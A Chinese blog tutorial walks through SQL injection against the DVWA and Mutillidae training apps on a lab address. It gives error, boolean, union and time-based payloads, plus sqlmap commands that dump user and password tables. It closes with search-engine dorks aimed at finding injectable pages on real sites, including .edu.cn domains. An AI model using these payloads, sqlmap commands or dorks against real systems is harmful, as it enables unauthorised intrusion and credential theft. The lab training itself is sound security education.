Web安全渗透OWASP-DVWA-SQL注入攻击

SQL注入攻击

在owasp年度top10安全问题中,注入高居榜首,SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者索要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

一、回顾SQL语句

1.登陆owasp
mysql -uroot -powaspbwa -u账户,-p密码
如果mysql登陆密码有特殊字符需要加引号

2.查看数据库
查看数据库:show databases;

3.查看库中的表
select tables;

4.查看表结构
查看表的结构:DESCRIBE users;
show create table users;看表的详细属性

5.查看表记录
select * from users;

6.information_schema(数据库字典)
这个库里面的表,是保存整个数据库中,表、库的信息。(所有查询数据库的行为,都是在读information_schema)
select * from information_schema.tables;
select DISTINCT TABLE_SCHEMA,2 from information_schema.TABLES;等于 show databases;

查看数据库:show databases;
查看当前所在数据库:select database();
查看当前用户:select user();
查看当前时间:select now();
使用数据库:use (database);
查看表:show tables;
查看表的结构:DESCRIBE users;
看表的详细属性:show create table users;

字段间  隔开:
别名:select user,password (AS) avatar from users;
数字除外,不加引号就是字段名。(数字一定是值)
select user_id,user,password from users where user_id=1;
select user_id,first_name,last_name from dvwa.users where first_name='aa' or 1=1;


union查询:union联合查询可以查到别的库的数据,select只能得到当前库的数据,union查询:union 联合查询可以查到别的库的数据。
使用条件:前后语句查询的字段数需要一样。(数字可以随便充当字段,或者使用concat)
select user,password from mysql.user union select user_login,user_pass from wordpress.wp_users;

二、SQL注入流程

1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解,sqlmap可自动破解;
5.提升权限,获得sql-shell、os-shell、登陆应用后台;

1.基于错误的注入
错误注入的思路是通过构造特殊的sql语句,根据得到的错误信息,确认sql注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是My SQL数据库。

输入’,爆出语法错误,说明它能够接受单引号代入了SQL语句
在这里插入图片描述在这里插入图片描述2.基于布尔的注入
布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;
select first_name,last_name from dvwa.users where user_id=’ ’ or 1=1 – ’ '
说明:
第一个‘用于闭合前面的条件
or 1=1 为真的条件
– 将注释后面的所有语句
’or 1=1 – ddd在这里插入图片描述原本目的是为了查询某一ID的值:
在这里插入图片描述3.union注入
UNION语句用于联合前面SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

//猜测数据列表
’ union select 1 – ’
’ union select 1,2 – ’
’ union select 1,2,3 – ’
’ union select 1,2,3,4 – ’

//获得当前数据库及用户信息
'union select version(),database() – ’
'union select user(),database() – ’
//查询数据库中所有表
information_schema数据库是mysql自带的,它提供了访问数据库元数据的方式;
元素据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。
select * from information_schema.TABLES\G
’ union select TABLE_SCHEMA, 1 from INFORMATION_SCHEMA.tables – '

在这里插入图片描述因为权限问题,只显示了两个数据库
在这里插入图片描述

少就补,多就合并concat
’ union select password,concat(first_name,’ ‘,last_name,’ ',user) from users – ’
mysql> select concat(把后面查询的字段结果拼接到一起返回一个字段的结果)(first_name,last_name) from users;
±-----------------------------+
| concat(first_name,last_name) |
±-----------------------------+
| adminadmin |
| GordonBrown |
| HackMe |
| PabloPicasso |
| BobSmith |
| useruser |
±-----------------------------+
6 rows in set (0.00 sec)

4.基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到诸如点,此时,通过设置sleep语句来探测注入点。
’ and sleep(5) – d
在这里插入图片描述按下F5刷新,然后页面在转圈圈等待了5秒
在这里插入图片描述

三、SQL自动化注入sqlmap

SQl注入比较好的工具,首推开源工具SQLmap,SQLmap是一个国内外著名的安全稳定测试工具,可以用来进行自动化检测,利用SQL
注入漏洞,获取数据库服务器的权限。它具有功能强大的检索引擎,针对各种不同类型数据库的安全稳定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据链接的方式执行操作系统命令。

1.sqlmap帮助

Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection 用于直接数据库连接的连接字符串
-u URL, --url=URL Target URL (e.g. “http://www.site.com/vuln.php?id=1”)
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file 解析来自Burp或WebScarab代理日志文件的目标
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 解析来自远程站点地图(.xml)文件的目标
-m BULKFILE Scan multiple targets given in a textual file 扫描文本文件中给定的多个目标
-r REQUESTFILE Load HTTP request from a file 从文件中加载HTTP请求
-g GOOGLEDORK Process Google dork results as target URLs 处理谷歌dork结果作为目标URL
-c CONFIGFILE Load options from a configuration INI file 从配置INI文件中加载选项
–cookie=COOKIE HTTP Cookie header value (e.g. “PHPSESSID=a8d127e…”) HTTP Cookie头值。“PHPSESSID = a8d127e…”)
–proxy=PROXY Use a proxy to connect to the target URL 使用代理连接到目标URL
–level=LEVEL Level of tests to perform (1-5, default 1)要执行的测试级别(1-5,默认为1)
–risk=RISK Risk of tests to perform (1-3, default 1) 执行测试的风险等级(1-3,默认1)
–current-user Retrieve DBMS current user 返回当前用户
–current-db Retrieve DBMS current database 检索DBMS当前数据库
–dbs Enumerate DBMS databases 列举DBMS数据库
–tables Enumerate DBMS database tables 枚举DBMS数据库表
–columns Enumerate DBMS database table columns 枚举DBMS数据库表列
–dump Dump DBMS database table entries 转储DBMS数据库的表条目
–dump-all Dump all DBMS databases tables entries 转储所有DBMS数据库的表条目
-C COL DBMS database table column(s) to enumerate 要枚举的DBMS数据库表列
-D DB DBMS database to enumerate 指定数据库
-T TBL DBMS database table(s) to enumerate 指定表
-p TESTPARAMETER Testable parameter(s) 指定测试的参数

–batch 自动化
–random-agent 随机代理浏览器
–dbms= 指定注入探测的数据库类型
–os-cmd= 执行操作系统命令

2.get型注入
对含有注入点的网站地址直接注入
获取所有数据库
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username --dbs
在这里插入图片描述获取所有用户
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username --users
在这里插入图片描述获取当前用户
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username --current-user
在这里插入图片描述获取当前数据库
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username --current-db
在这里插入图片描述
获取指定数据库所有表的信息:
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username -D wordpress --tables
在这里插入图片描述获取指定数据库指定表的列信息:
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username -D wordpress -T wp_users --columns
在这里插入图片描述进一步获取列中数据下载:
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username -D wordpress -T wp_users --dump
在这里插入图片描述在这里插入图片描述只获取需要的账户、密码列:
sqlmap -u “http://192.168.10.130/mutillidae/index.php?page=user-info.php&username=aaa&password=123&user-info-php-submit-button=View+Account+Details” --batch -p username -D wordpress -T wp_users -C “user_login,user_pass” --dump
在这里插入图片描述2.POST方法注入

需要登陆过后的页面存在注入漏洞,通过带cookie访问注入页面,–cookie=""

sqlmap -u “http://192.168.10.130/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#” --batch -p id --cookie=“PHPSESSID=56nolsbgnn94gi0ubd66o90cn3;security=low”
在这里插入图片描述sqlmap -u “http://192.168.10.130/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#” --batch -p id --cookie=“PHPSESSID=56nolsbgnn94gi0ubd66o90cn3;security=low” --dbs
在这里插入图片描述sqlmap -u “http://192.168.10.130/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#” --batch -p id --cookie=“PHPSESSID=56nolsbgnn94gi0ubd66o90cn3;security=low” -D dvwa --tables
在这里插入图片描述sqlmap -u “http://192.168.10.130/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#” --batch -p id --cookie=“PHPSESSID=56nolsbgnn94gi0ubd66o90cn3;security=low” -D dvwa -T users --columns
在这里插入图片描述sqlmap -u “http://192.168.10.130/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#” --batch -p id --cookie=“PHPSESSID=56nolsbgnn94gi0ubd66o90cn3;security=low” -D dvwa -T users -C “user,password” --dump
在这里插入图片描述

google搜索可能存在注入的页面 inurl:.php?id= inurl:.jsp?id= inurl:.asp?id=
inurl:/admin/login.php inurl:.php?-id= intitle:美女

通过百度搜索可能存在注入的页面 inurl:news.asp?id= site:edu.cn inurl:news.php?id=
site:edu.cn inurl:aspx.asp?id= site:edu.cn

  • 0
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值